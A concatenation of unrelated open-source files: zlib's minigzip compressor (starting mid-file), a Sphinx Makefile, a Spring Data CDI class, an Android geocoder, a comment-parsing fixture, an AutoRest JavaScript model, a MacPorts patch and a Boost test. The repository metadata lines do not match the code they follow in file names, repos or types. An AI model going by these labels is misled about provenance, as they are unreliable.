#  define SET_BINARY_MODE(file) setmode(fileno(file), O_BINARY)
#else
#  define SET_BINARY_MODE(file)
#endif

#ifdef _MSC_VER
#  define snprintf _snprintf
#endif

#ifdef VMS
#  define unlink delete
#  define GZ_SUFFIX "-gz"
#endif
#ifdef RISCOS
#  define unlink remove
#  define GZ_SUFFIX "-gz"
#  define fileno(file) file->__file
#endif
#if defined(__MWERKS__) && __dest_os != __be_os && __dest_os != __win32_os
#  include <unix.h> /* for fileno */
#endif

#if !defined(Z_HAVE_UNISTD_H) && !defined(_LARGEFILE64_SOURCE)
#ifndef WIN32 /* unlink already in stdio.h for WIN32 */
  extern int unlink OF((const char *));
#endif
#endif

#if defined(UNDER_CE)
#  include <windows.h>
#  define perror(s) pwinerror(s)

/* Map the Windows error number in ERROR to a locale-dependent error
   message string and return a pointer to it.  Typically, the values
   for ERROR come from GetLastError.

   The string pointed to shall not be modified by the application,
   but may be overwritten by a subsequent call to strwinerror

   The strwinerror function does not change the current setting
   of GetLastError.  */

static char *strwinerror (error)
     DWORD error;
{
    static char buf[1024];

    wchar_t *msgbuf;
    DWORD lasterr = GetLastError();
    DWORD chars = FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM
        | FORMAT_MESSAGE_ALLOCATE_BUFFER,
        NULL,
        error,
        0, /* Default language */
        (LPVOID)&msgbuf,
        0,
        NULL);
    if (chars != 0) {
        /* If there is an \r\n appended, zap it.  */
        if (chars >= 2
            && msgbuf[chars - 2] == '\r' && msgbuf[chars - 1] == '\n') {
            chars -= 2;
            msgbuf[chars] = 0;
        }

        if (chars > sizeof (buf) - 1) {
            chars = sizeof (buf) - 1;
            msgbuf[chars] = 0;
        }

        wcstombs(buf, msgbuf, chars + 1);
        LocalFree(msgbuf);
    }
    else {
        sprintf(buf, "unknown win32 error (%ld)", error);
    }

    SetLastError(lasterr);
    return buf;
}

static void pwinerror (s)
    const char *s;
{
    if (s && *s)
        fprintf(stderr, "%s: %s\n", s, strwinerror(GetLastError ()));
    else
        fprintf(stderr, "%s\n", strwinerror(GetLastError ()));
}

#endif /* UNDER_CE */

#ifndef GZ_SUFFIX
#  define GZ_SUFFIX ".gz"
#endif
#define SUFFIX_LEN (sizeof(GZ_SUFFIX)-1)

#define BUFLEN      16384
#define MAX_NAME_LEN 1024

#ifdef MAXSEG_64K
#  define local static
   /* Needed for systems with limitation on stack size. */
#else
#  define local
#endif

#ifdef Z_SOLO
/* for Z_SOLO, create simplified gz* functions using deflate and inflate */

#if defined(Z_HAVE_UNISTD_H) || defined(Z_LARGE)
#  include <unistd.h>       /* for unlink() */
#endif

void *myalloc OF((void *, unsigned, unsigned));
void myfree OF((void *, void *));

void *myalloc(q, n, m)
    void *q;
    unsigned n, m;
{
    q = Z_NULL;
    return calloc(n, m);
}

void myfree(q, p)
    void *q, *p;
{
    q = Z_NULL;
    free(p);
}

typedef struct gzFile_s {
    FILE *file;
    int write;
    int err;
    char *msg;
    z_stream strm;
} *gzFile;

gzFile gzopen OF((const char *, const char *));
gzFile gzdopen OF((int, const char *));
gzFile gz_open OF((const char *, int, const char *));

gzFile gzopen(path, mode)
const char *path;
const char *mode;
{
    return gz_open(path, -1, mode);
}

gzFile gzdopen(fd, mode)
int fd;
const char *mode;
{
    return gz_open(NULL, fd, mode);
}

gzFile gz_open(path, fd, mode)
    const char *path;
    int fd;
    const char *mode;
{
    gzFile gz;
    int ret;

    gz = malloc(sizeof(struct gzFile_s));
    if (gz == NULL)
        return NULL;
    gz->write = strchr(mode, 'w') != NULL;
    gz->strm.zalloc = myalloc;
    gz->strm.zfree = myfree;
    gz->strm.opaque = Z_NULL;
    if (gz->write)
        ret = deflateInit2(&(gz->strm), -1, 8, 15 + 16, 8, 0);
    else {
        gz->strm.next_in = 0;
        gz->strm.avail_in = Z_NULL;
        ret = inflateInit2(&(gz->strm), 15 + 16);
    }
    if (ret != Z_OK) {
        free(gz);
        return NULL;
    }
    gz->file = path == NULL ? fdopen(fd, gz->write ? "wb" : "rb") :
                              fopen(path, gz->write ? "wb" : "rb");
    if (gz->file == NULL) {
        gz->write ? deflateEnd(&(gz->strm)) : inflateEnd(&(gz->strm));
        free(gz);
        return NULL;
    }
    gz->err = 0;
    gz->msg = "";
    return gz;
}

int gzwrite OF((gzFile, const void *, unsigned));

int gzwrite(gz, buf, len)
    gzFile gz;
    const void *buf;
    unsigned len;
{
    z_stream *strm;
    unsigned char out[BUFLEN];

    if (gz == NULL || !gz->write)
        return 0;
    strm = &(gz->strm);
    strm->next_in = (void *)buf;
    strm->avail_in = len;
    do {
        strm->next_out = out;
        strm->avail_out = BUFLEN;
        (void)deflate(strm, Z_NO_FLUSH);
        fwrite(out, 1, BUFLEN - strm->avail_out, gz->file);
    } while (strm->avail_out == 0);
    return len;
}

int gzread OF((gzFile, void *, unsigned));

int gzread(gz, buf, len)
    gzFile gz;
    void *buf;
    unsigned len;
{
    int ret;
    unsigned got;
    unsigned char in[1];
    z_stream *strm;

    if (gz == NULL || gz->write)
        return 0;
    if (gz->err)
        return 0;
    strm = &(gz->strm);
    strm->next_out = (void *)buf;
    strm->avail_out = len;
    do {
        got = fread(in, 1, 1, gz->file);
        if (got == 0)
            break;
        strm->next_in = in;
        strm->avail_in = 1;
        ret = inflate(strm, Z_NO_FLUSH);
        if (ret == Z_DATA_ERROR) {
            gz->err = Z_DATA_ERROR;
            gz->msg = strm->msg;
            return 0;
        }
        if (ret == Z_STREAM_END)
            inflateReset(strm);
    } while (strm->avail_out);
    return len - strm->avail_out;
}

int gzclose OF((gzFile));

int gzclose(gz)
    gzFile gz;
{
    z_stream *strm;
    unsigned char out[BUFLEN];

    if (gz == NULL)
        return Z_STREAM_ERROR;
    strm = &(gz->strm);
    if (gz->write) {
        strm->next_in = Z_NULL;
        strm->avail_in = 0;
        do {
            strm->next_out = out;
            strm->avail_out = BUFLEN;
            (void)deflate(strm, Z_FINISH);
            fwrite(out, 1, BUFLEN - strm->avail_out, gz->file);
        } while (strm->avail_out == 0);
        deflateEnd(strm);
    }
    else
        inflateEnd(strm);
    fclose(gz->file);
    free(gz);
    return Z_OK;
}

const char *gzerror OF((gzFile, int *));

const char *gzerror(gz, err)
    gzFile gz;
    int *err;
{
    *err = gz->err;
    return gz->msg;
}

#endif

char *prog;

void error            OF((const char *msg));
void gz_compress      OF((FILE   *in, gzFile out));
#ifdef USE_MMAP
int  gz_compress_mmap OF((FILE   *in, gzFile out));
#endif
void gz_uncompress    OF((gzFile in, FILE   *out));
void file_compress    OF((char  *file, char *mode));
void file_uncompress  OF((char  *file));
int  main             OF((int argc, char *argv[]));

/* ===========================================================================
 * Display error message and exit
 */
void error(msg)
    const char *msg;
{
    fprintf(stderr, "%s: %s\n", prog, msg);
    exit(1);
}

/* ===========================================================================
 * Compress input to output then close both files.
 */

void gz_compress(in, out)
    FILE   *in;
    gzFile out;
{
    local char buf[BUFLEN];
    int len;
    int err;

#ifdef USE_MMAP
    /* Try first compressing with mmap. If mmap fails (minigzip used in a
     * pipe), use the normal fread loop.
     */
    if (gz_compress_mmap(in, out) == Z_OK) return;
#endif
    for (;;) {
        len = (int)fread(buf, 1, sizeof(buf), in);
        if (ferror(in)) {
            perror("fread");
            exit(1);
        }
        if (len == 0) break;

        if (gzwrite(out, buf, (unsigned)len) != len) error(gzerror(out, &err));
    }
    fclose(in);
    if (gzclose(out) != Z_OK) error("failed gzclose");
}

#ifdef USE_MMAP /* MMAP version, Miguel Albrecht <malbrech@eso.org> */

/* Try compressing the input file at once using mmap. Return Z_OK if
 * if success, Z_ERRNO otherwise.
 */
int gz_compress_mmap(in, out)
    FILE   *in;
    gzFile out;
{
    int len;
    int err;
    int ifd = fileno(in);
    caddr_t buf;    /* mmap'ed buffer for the entire input file */
    off_t buf_len;  /* length of the input file */
    struct stat sb;

    /* Determine the size of the file, needed for mmap: */
    if (fstat(ifd, &sb) < 0) return Z_ERRNO;
    buf_len = sb.st_size;
    if (buf_len <= 0) return Z_ERRNO;

    /* Now do the actual mmap: */
    buf = mmap((caddr_t) 0, buf_len, PROT_READ, MAP_SHARED, ifd, (off_t)0);
    if (buf == (caddr_t)(-1)) return Z_ERRNO;

    /* Compress the whole file at once: */
    len = gzwrite(out, (char *)buf, (unsigned)buf_len);

    if (len != (int)buf_len) error(gzerror(out, &err));

    munmap(buf, buf_len);
    fclose(in);
    if (gzclose(out) != Z_OK) error("failed gzclose");
    return Z_OK;
}
#endif /* USE_MMAP */

/* ===========================================================================
 * Uncompress input to output then close both files.
 */
void gz_uncompress(in, out)
    gzFile in;
    FILE   *out;
{
    local char buf[BUFLEN];
    int len;
    int err;

    for (;;) {
        len = gzread(in, buf, sizeof(buf));
        if (len < 0) error (gzerror(in, &err));
        if (len == 0) break;

        if ((int)fwrite(buf, 1, (unsigned)len, out) != len) {
            error("failed fwrite");
        }
    }
    if (fclose(out)) error("failed fclose");

    if (gzclose(in) != Z_OK) error("failed gzclose");
}

/* ===========================================================================
 * Compress the given file: create a corresponding .gz file and remove the
 * original.
 */
void file_compress(file, mode)
    char  *file;
    char  *mode;
{
    local char outfile[MAX_NAME_LEN];
    FILE  *in;
    gzFile out;

    if (strlen(file) + strlen(GZ_SUFFIX) >= sizeof(outfile)) {
        fprintf(stderr, "%s: filename too long\n", prog);
        exit(1);
    }

#if !defined(NO_snprintf) && !defined(NO_vsnprintf)
    snprintf(outfile, sizeof(outfile), "%s%s", file, GZ_SUFFIX);
#else
    strcpy(outfile, file);
    strcat(outfile, GZ_SUFFIX);
#endif

    in = fopen(file, "rb");
    if (in == NULL) {
        perror(file);
        exit(1);
    }
    out = gzopen(outfile, mode);
    if (out == NULL) {
        fprintf(stderr, "%s: can't gzopen %s\n", prog, outfile);
        exit(1);
    }
    gz_compress(in, out);

    unlink(file);
}

/* ===========================================================================
 * Uncompress the given file and remove the original.
 */
void file_uncompress(file)
    char  *file;
{
    local char buf[MAX_NAME_LEN];
    char *infile, *outfile;
    FILE  *out;
    gzFile in;
    size_t len = strlen(file);

    if (len + strlen(GZ_SUFFIX) >= sizeof(buf)) {
        fprintf(stderr, "%s: filename too long\n", prog);
        exit(1);
    }

#if !defined(NO_snprintf) && !defined(NO_vsnprintf)
    snprintf(buf, sizeof(buf), "%s", file);
#else
    strcpy(buf, file);
#endif

    if (len > SUFFIX_LEN && strcmp(file+len-SUFFIX_LEN, GZ_SUFFIX) == 0) {
        infile = file;
        outfile = buf;
        outfile[len-3] = '\0';
    } else {
        outfile = file;
        infile = buf;
#if !defined(NO_snprintf) && !defined(NO_vsnprintf)
        snprintf(buf + len, sizeof(buf) - len, "%s", GZ_SUFFIX);
#else
        strcat(infile, GZ_SUFFIX);
#endif
    }
    in = gzopen(infile, "rb");
    if (in == NULL) {
        fprintf(stderr, "%s: can't gzopen %s\n", prog, infile);
        exit(1);
    }
    out = fopen(outfile, "wb");
    if (out == NULL) {
        perror(file);
        exit(1);
    }

    gz_uncompress(in, out);

    unlink(infile);
}

/* ===========================================================================
 * Usage:  minigzip [-c] [-d] [-f] [-h] [-r] [-1 to -9] [files...]
 *   -c : write to standard output
 *   -d : decompress
 *   -f : compress with Z_FILTERED
 *   -h : compress with Z_HUFFMAN_ONLY
 *   -r : compress with Z_RLE
 *   -1 to -9 : compression level
 */

int main(argc, argv)
    int argc;
    char *argv[];
{
    int copyout = 0;
    int uncompr = 0;
    gzFile file;
    char *bname, outmode[20];

#if !defined(NO_snprintf) && !defined(NO_vsnprintf)
    snprintf(outmode, sizeof(outmode), "%s", "wb6 ");
#else
    strcpy(outmode, "wb6 ");
#endif

    prog = argv[0];
    bname = strrchr(argv[0], '/');
    if (bname)
      bname++;
    else
      bname = argv[0];
    argc--, argv++;

    if (!strcmp(bname, "gunzip"))
      uncompr = 1;
    else if (!strcmp(bname, "zcat"))
      copyout = uncompr = 1;

    while (argc > 0) {
      if (strcmp(*argv, "-c") == 0)
        copyout = 1;
      else if (strcmp(*argv, "-d") == 0)
        uncompr = 1;
      else if (strcmp(*argv, "-f") == 0)
        outmode[3] = 'f';
      else if (strcmp(*argv, "-h") == 0)
        outmode[3] = 'h';
      else if (strcmp(*argv, "-r") == 0)
        outmode[3] = 'R';
      else if ((*argv)[0] == '-' && (*argv)[1] >= '1' && (*argv)[1] <= '9' &&
               (*argv)[2] == 0)
        outmode[2] = (*argv)[1];
      else
        break;
      argc--, argv++;
    }
    if (outmode[3] == ' ')
        outmode[3] = 0;
    if (argc == 0) {
        SET_BINARY_MODE(stdin);
        SET_BINARY_MODE(stdout);
        if (uncompr) {
            file = gzdopen(fileno(stdin), "rb");
            if (file == NULL) error("can't gzdopen stdin");
            gz_uncompress(file, stdout);
        } else {
            file = gzdopen(fileno(stdout), outmode);
            if (file == NULL) error("can't gzdopen stdout");
            gz_compress(stdin, file);
        }
    } else {
        if (copyout) {
            SET_BINARY_MODE(stdout);
        }
        do {
            if (uncompr) {
                if (copyout) {
                    file = gzopen(*argv, "rb");
                    if (file == NULL)
                        fprintf(stderr, "%s: can't gzopen %s\n", prog, *argv);
                    else
                        gz_uncompress(file, stdout);
                } else {
                    file_uncompress(*argv);
                }
            } else {
                if (copyout) {
                    FILE * in = fopen(*argv, "rb");

                    if (in == NULL) {
                        perror(*argv);
                    } else {
                        file = gzdopen(fileno(stdout), outmode);
                        if (file == NULL) error("can't gzdopen stdout");

                        gz_compress(in, file);
                    }

                } else {
                    file_compress(*argv, outmode);
                }
            }
        } while (argv++, --argc);
    }
    return 0;
}

{'repo_name': 'alibaba/x-deeplearning', 'stars': '3451', 'repo_language': 'PureBasic', 'file_name': 'ZooKeeperQuorumServer.h', 'mime_type': 'text/x-c++', 'hash': -1373736526406255088, 'source_dataset': 'data'}


# Makefile for Sphinx documentation
#

# You can set these variables from the command line.
SPHINXOPTS    =
SPHINXBUILD   = sphinx-build
PAPER         =
BUILDDIR      = build

# Internal variables.
PAPEROPT_a4     = -D latex_paper_size=a4
PAPEROPT_letter = -D latex_paper_size=letter
ALLSPHINXOPTS   = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source

.PHONY: help clean html dirhtml pickle json htmlhelp qthelp latex changes linkcheck doctest

help:
	@echo "Please use \`make <target>' where <target> is one of"
	@echo "  html      to make standalone HTML files"
	@echo "  dirhtml   to make HTML files named index.html in directories"
	@echo "  pickle    to make pickle files"
	@echo "  json      to make JSON files"
	@echo "  htmlhelp  to make HTML files and a HTML help project"
	@echo "  qthelp    to make HTML files and a qthelp project"
	@echo "  latex     to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
	@echo "  changes   to make an overview of all changed/added/deprecated items"
	@echo "  linkcheck to check all external links for integrity"
	@echo "  doctest   to run all doctests embedded in the documentation (if enabled)"

clean:
	-rm -rf $(BUILDDIR)/*

html:
	$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html
	@echo
	@echo "Build finished. The HTML pages are in $(BUILDDIR)/html."

dirhtml:
	$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml
	@echo
	@echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml."

pickle:
	$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle
	@echo
	@echo "Build finished; now you can process the pickle files."

json:
	$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json
	@echo
	@echo "Build finished; now you can process the JSON files."

htmlhelp:
	$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp
	@echo
	@echo "Build finished; now you can run HTML Help Workshop with the" \
	      ".hhp project file in $(BUILDDIR)/htmlhelp."

qthelp:
	$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp
	@echo
	@echo "Build finished; now you can run "qcollectiongenerator" with the" \
	      ".qhcp project file in $(BUILDDIR)/qthelp, like this:"
	@echo "# qcollectiongenerator $(BUILDDIR)/qthelp/Pyleus.qhcp"
	@echo "To view the help file:"
	@echo "# assistant -collectionFile $(BUILDDIR)/qthelp/Pyleus.qhc"

latex:
	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
	@echo
	@echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex."
	@echo "Run \`make all-pdf' or \`make all-ps' in that directory to" \
	      "run these through (pdf)latex."

changes:
	$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes
	@echo
	@echo "The overview file is in $(BUILDDIR)/changes."

linkcheck:
	$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck
	@echo
	@echo "Link check complete; look for any errors in the above output " \
	      "or in $(BUILDDIR)/linkcheck/output.txt."

doctest:
	$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest
	@echo "Testing of doctests in the sources finished, look at the " \
	      "results in $(BUILDDIR)/doctest/output.txt."

{'repo_name': 'Yelp/pyleus', 'stars': '409', 'repo_language': 'Python', 'file_name': 'serializer.py', 'mime_type': 'text/x-python', 'hash': 7563945366851562642, 'source_dataset': 'data'}


/*
 * Copyright 2018-2020 the original author or authors.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package org.springframework.data.repository.cdi;

import java.util.Optional;
import java.util.stream.Stream;

import javax.enterprise.inject.UnsatisfiedResolutionException;

import org.springframework.beans.factory.support.AbstractBeanDefinition;
import org.springframework.core.env.StandardEnvironment;
import org.springframework.core.io.ResourceLoader;
import org.springframework.core.io.support.PathMatchingResourcePatternResolver;
import org.springframework.core.type.classreading.CachingMetadataReaderFactory;
import org.springframework.core.type.classreading.MetadataReaderFactory;
import org.springframework.core.type.filter.TypeFilter;
import org.springframework.data.repository.config.CustomRepositoryImplementationDetector;
import org.springframework.data.repository.config.FragmentMetadata;
import org.springframework.data.repository.config.ImplementationDetectionConfiguration;
import org.springframework.data.repository.config.ImplementationLookupConfiguration;
import org.springframework.data.repository.config.RepositoryFragmentConfiguration;
import org.springframework.data.util.Optionals;
import org.springframework.data.util.Streamable;
import org.springframework.lang.Nullable;
import org.springframework.util.Assert;
import org.springframework.util.ClassUtils;

/**
 * Context for CDI repositories. This class provides {@link ClassLoader} and
 * {@link org.springframework.data.repository.core.support.RepositoryFragment detection} which are commonly used within
 * CDI.
 *
 * @author Mark Paluch
 * @since 2.1
 */
public class CdiRepositoryContext {

	private final ClassLoader classLoader;
	private final CustomRepositoryImplementationDetector detector;
	private final MetadataReaderFactory metadataReaderFactory;
	private final FragmentMetadata metdata;

	/**
	 * Create a new {@link CdiRepositoryContext} given {@link ClassLoader} and initialize
	 * {@link CachingMetadataReaderFactory}.
	 *
	 * @param classLoader must not be {@literal null}.
	 */
	public CdiRepositoryContext(ClassLoader classLoader) {
		this(classLoader, new CustomRepositoryImplementationDetector(new StandardEnvironment(),
				new PathMatchingResourcePatternResolver(classLoader)));
	}

	/**
	 * Create a new {@link CdiRepositoryContext} given {@link ClassLoader} and
	 * {@link CustomRepositoryImplementationDetector}.
	 *
	 * @param classLoader must not be {@literal null}.
	 * @param detector must not be {@literal null}.
	 */
	public CdiRepositoryContext(ClassLoader classLoader, CustomRepositoryImplementationDetector detector) {

		Assert.notNull(classLoader, "ClassLoader must not be null!");
		Assert.notNull(detector, "CustomRepositoryImplementationDetector must not be null!");

		ResourceLoader resourceLoader = new PathMatchingResourcePatternResolver(classLoader);

		this.classLoader = classLoader;
		this.metadataReaderFactory = new CachingMetadataReaderFactory(resourceLoader);
		this.metdata = new FragmentMetadata(metadataReaderFactory);
		this.detector = detector;
	}

	CustomRepositoryImplementationDetector getCustomRepositoryImplementationDetector() {
		return detector;
	}

	/**
	 * Load a {@link Class} using the CDI {@link ClassLoader}.
	 *
	 * @param className
	 * @return
	 * @throws UnsatisfiedResolutionException if the class cannot be found.
	 */
	Class<?> loadClass(String className) {

		try {
			return ClassUtils.forName(className, classLoader);
		} catch (ClassNotFoundException e) {
			throw new UnsatisfiedResolutionException(String.format("Unable to resolve class for '%s'", className), e);
		}
	}

	/**
	 * Discover {@link RepositoryFragmentConfiguration fragment configurations} for a {@link Class repository interface}.
	 *
	 * @param configuration must not be {@literal null}.
	 * @param repositoryInterface must not be {@literal null}.
	 * @return {@link Stream} of {@link RepositoryFragmentConfiguration fragment configurations}.
	 */
	Stream<RepositoryFragmentConfiguration> getRepositoryFragments(CdiRepositoryConfiguration configuration,
			Class<?> repositoryInterface) {

		CdiImplementationDetectionConfiguration config = new CdiImplementationDetectionConfiguration(configuration,
				metadataReaderFactory);

		return metdata.getFragmentInterfaces(repositoryInterface.getName()) //
				.map(it -> detectRepositoryFragmentConfiguration(it, config)) //
				.flatMap(Optionals::toStream);
	}

	/**
	 * Retrieves a custom repository interfaces from a repository type. This works for the whole class hierarchy and can
	 * find also a custom repository which is inherited over many levels.
	 *
	 * @param repositoryType The class representing the repository.
	 * @param cdiRepositoryConfiguration The configuration for CDI usage.
	 * @return the interface class or {@literal null}.
	 */
	Optional<Class<?>> getCustomImplementationClass(Class<?> repositoryType,
			CdiRepositoryConfiguration cdiRepositoryConfiguration) {

		ImplementationDetectionConfiguration configuration = new CdiImplementationDetectionConfiguration(
				cdiRepositoryConfiguration, metadataReaderFactory);
		ImplementationLookupConfiguration lookup = configuration.forFragment(repositoryType.getName());

		Optional<AbstractBeanDefinition> beanDefinition = detector.detectCustomImplementation(lookup);

		return beanDefinition.map(this::loadBeanClass);
	}

	private Optional<RepositoryFragmentConfiguration> detectRepositoryFragmentConfiguration(String fragmentInterfaceName,
			CdiImplementationDetectionConfiguration config) {

		ImplementationLookupConfiguration lookup = config.forFragment(fragmentInterfaceName);
		Optional<AbstractBeanDefinition> beanDefinition = detector.detectCustomImplementation(lookup);

		return beanDefinition.map(bd -> new RepositoryFragmentConfiguration(fragmentInterfaceName, bd));
	}

	@Nullable
	private Class<?> loadBeanClass(AbstractBeanDefinition definition) {

		String beanClassName = definition.getBeanClassName();

		return beanClassName == null ? null : loadClass(beanClassName);
	}

	private static class CdiImplementationDetectionConfiguration implements ImplementationDetectionConfiguration {

		private final CdiRepositoryConfiguration configuration;
		private final MetadataReaderFactory metadataReaderFactory;

		CdiImplementationDetectionConfiguration(CdiRepositoryConfiguration configuration,
				MetadataReaderFactory metadataReaderFactory) {

			this.configuration = configuration;
			this.metadataReaderFactory = metadataReaderFactory;
		}

		/*
		 * (non-Javadoc)
		 * @see org.springframework.data.repository.config.CustomRepositoryImplementationDetector.ImplementationDetectionConfiguration#getImplementationPostfix()
		 */
		@Override
		public String getImplementationPostfix() {
			return configuration.getRepositoryImplementationPostfix();
		}

		/*
		 * (non-Javadoc)
		 * @see org.springframework.data.repository.config.CustomRepositoryImplementationDetector.ImplementationDetectionConfiguration#getBasePackages()
		 */
		@Override
		public Streamable<String> getBasePackages() {
			return Streamable.empty();
		}

		/*
		 * (non-Javadoc)
		 * @see org.springframework.data.repository.config.CustomRepositoryImplementationDetector.ImplementationDetectionConfiguration#getExcludeFilters()
		 */
		@Override
		public Streamable<TypeFilter> getExcludeFilters() {
			return Streamable.empty();
		}

		public MetadataReaderFactory getMetadataReaderFactory() {
			return this.metadataReaderFactory;
		}
	}
}

{'repo_name': 'spring-projects/spring-data-commons', 'stars': '492', 'repo_language': 'Java', 'file_name': 'MappingContextTypeInformationMapperUnitTests.java', 'mime_type': 'text/x-c++', 'hash': -5927098322174218517, 'source_dataset': 'data'}


package org.qii.weiciyuan.dao.location;

import org.qii.weiciyuan.bean.GeoBean;
import org.qii.weiciyuan.support.utils.Utility;

import android.app.Activity;
import android.location.Address;
import android.location.Geocoder;

import java.io.IOException;
import java.util.List;
import java.util.Locale;

public class GoogleGeoCoderDao {

    public String get() {
        Geocoder geocoder = new Geocoder(activity, Locale.getDefault());

        List<Address> addresses = null;
        try {
            if (!Utility.isGPSLocationCorrect(geoBean)) {
                return null;
            }
            addresses = geocoder.getFromLocation(geoBean.getLat(), geoBean.getLon(), 1);
        } catch (IOException e) {

        }
        if (addresses != null && addresses.size() > 0) {
            Address address = addresses.get(0);

            StringBuilder builder = new StringBuilder();
            int size = address.getMaxAddressLineIndex();
            for (int i = 0; i < size; i++) {
                builder.append(address.getAddressLine(i));
            }
            return builder.toString();
        }
        return null;
    }

    public GoogleGeoCoderDao(Activity activity, GeoBean geoBean) {
        this.activity = activity;
        this.geoBean = geoBean;
    }

    private Activity activity;
    private GeoBean geoBean;
}

{'repo_name': 'qii/weiciyuan', 'stars': '2660', 'repo_language': 'Java', 'file_name': 'BuildConfig.java', 'mime_type': 'text/plain', 'hash': 8603914928991830529, 'source_dataset': 'data'}


## SPDX-License-Identifier: MIT

const x = "//\""

### line1

const y = '/* xx\' */'

==begin
   line1
   line2
   line3
=end

{'repo_name': 'caixw/apidoc', 'stars': '765', 'repo_language': 'Go', 'file_name': 'main.go', 'mime_type': 'text/x-c', 'hash': -7489538197880399854, 'source_dataset': 'data'}


/*
 * Copyright (c) Microsoft Corporation. All rights reserved.
 * Licensed under the MIT License. See License.txt in the project root for
 * license information.
 *
 * Code generated by Microsoft (R) AutoRest Code Generator.
 * Changes may cause incorrect behavior and will be lost if the code is
 * regenerated.
 */

'use strict';

/**
 * Class representing a ListForAppOKResponseItem.
 */
class ListForAppOKResponseItem {
  /**
   * Create a ListForAppOKResponseItem.
   * @property {uuid} subscriptionId The azure subscription id
   * @property {uuid} tenantId The tenant id of the azure subscription belongs
   * to
   * @property {string} subscriptionName The name of the azure subscription
   * @property {boolean} [isBilling] If the subscription is used for billing
   * @property {boolean} [isBillable] If the subscription can be used for
   * billing
   * @property {boolean} [isMicrosoftInternal] If the subscription is internal
   * Microsoft subscription
   */
  constructor() {
  }

  /**
   * Defines the metadata of ListForAppOKResponseItem
   *
   * @returns {object} metadata of ListForAppOKResponseItem
   *
   */
  mapper() {
    return {
      required: false,
      serializedName: 'ListForAppOKResponseItem',
      type: {
        name: 'Composite',
        className: 'ListForAppOKResponseItem',
        modelProperties: {
          subscriptionId: {
            required: true,
            serializedName: 'subscription_id',
            type: {
              name: 'String'
            }
          },
          tenantId: {
            required: true,
            serializedName: 'tenant_id',
            type: {
              name: 'String'
            }
          },
          subscriptionName: {
            required: true,
            serializedName: 'subscription_name',
            type: {
              name: 'String'
            }
          },
          isBilling: {
            required: false,
            serializedName: 'is_billing',
            type: {
              name: 'Boolean'
            }
          },
          isBillable: {
            required: false,
            serializedName: 'is_billable',
            type: {
              name: 'Boolean'
            }
          },
          isMicrosoftInternal: {
            required: false,
            serializedName: 'is_microsoft_internal',
            type: {
              name: 'Boolean'
            }
          }
        }
      }
    };
  }
}

module.exports = ListForAppOKResponseItem;

{'repo_name': 'microsoft/appcenter-cli', 'stars': '340', 'repo_language': 'JavaScript', 'file_name': 'settings.json', 'mime_type': 'text/plain', 'hash': -7520088958219193245, 'source_dataset': 'data'}


--- Makefile.macosx.orig	2016-05-28 04:30:50.000000000 -0700
+++ Makefile.macosx	2016-12-11 14:07:16.000000000 -0700
@@ -66,18 +66,12 @@

 # architectures

+C_COMPILER_OPTIONS += $(CFLAGS)
+LINKER_OPTIONS += $(LDFLAGS)
+
 ifeq ($(ARCH),x86-64)
-C_COMPILER_OPTIONS += -m64
-LINKER_OPTIONS += -m64
 # Avoid bus error in install_name_tool
 LINKER_LINK_SHARED_DLOADABLE_OPTIONS += -Wl,-headerpad -Wl,128
-else
-
-ifeq ($(ARCH),universal)
-C_COMPILER_OPTIONS += -arch ppc -arch i386 -isysroot /Developer/SDKs/MacOSX10.4u.sdk
-LINKER_OPTIONS += -arch ppc -arch i386 -isysroot /Developer/SDKs/MacOSX10.4u.sdk
-endif
-
 endif

 # select default and internal settings

{'repo_name': 'macports/macports-ports', 'stars': '752', 'repo_language': 'Tcl', 'file_name': 'exo-mmintrin.diff', 'mime_type': 'text/x-diff', 'hash': 7795022104155935395, 'source_dataset': 'data'}


//  (C) Copyright Raffi Enficiaud 2018.
//  Distributed under the Boost Software License, Version 1.0.
//  (See accompanying file LICENSE_1_0.txt or copy at
//  http://www.boost.org/LICENSE_1_0.txt)

//  See http://www.boost.org/libs/test for the library home page

#define BOOST_TEST_MODULE release_streams
#define BOOST_TEST_NO_MAIN
#define BOOST_TEST_ALTERNATIVE_INIT_API
#include <boost/test/included/unit_test.hpp>
#include <iostream>
namespace utf = boost::unit_test;

// to avoid empty test bed
BOOST_AUTO_TEST_CASE(test1)
{
  BOOST_TEST(true);
}

int main(int argc, char* argv[])
{
  int return_value = utf::unit_test_main(init_unit_test, argc, argv);
  if(return_value != 0) {
      std::cerr << "Error detected while running the test bed" << std::endl;
      return return_value;
  }

  if( &utf::results_reporter::get_stream() != &std::cerr ) {
      std::cerr << "report stream not released properly" << std::endl;
      return 1;
  }

  utf::output_format outputs_to_tests[] = { utf::OF_CLF, utf::OF_XML, utf::OF_JUNIT, utf::OF_CUSTOM_LOGGER};
  const char* const outputs_to_test_names[] = {"CLF", "XML", "JUNIT", "CUSTOM"};

  for(int i = 0; i < sizeof(outputs_to_tests)/sizeof(outputs_to_tests[0]); i++) {
      std::ostream* stream = utf::unit_test_log.get_stream(outputs_to_tests[i]);
      if( stream && stream != &std::cout ) {
          std::cerr << "logger stream not released properly for format '" << outputs_to_test_names[i] << "'" << std::endl;
          return 1;
      }
  }
  return 0;
}

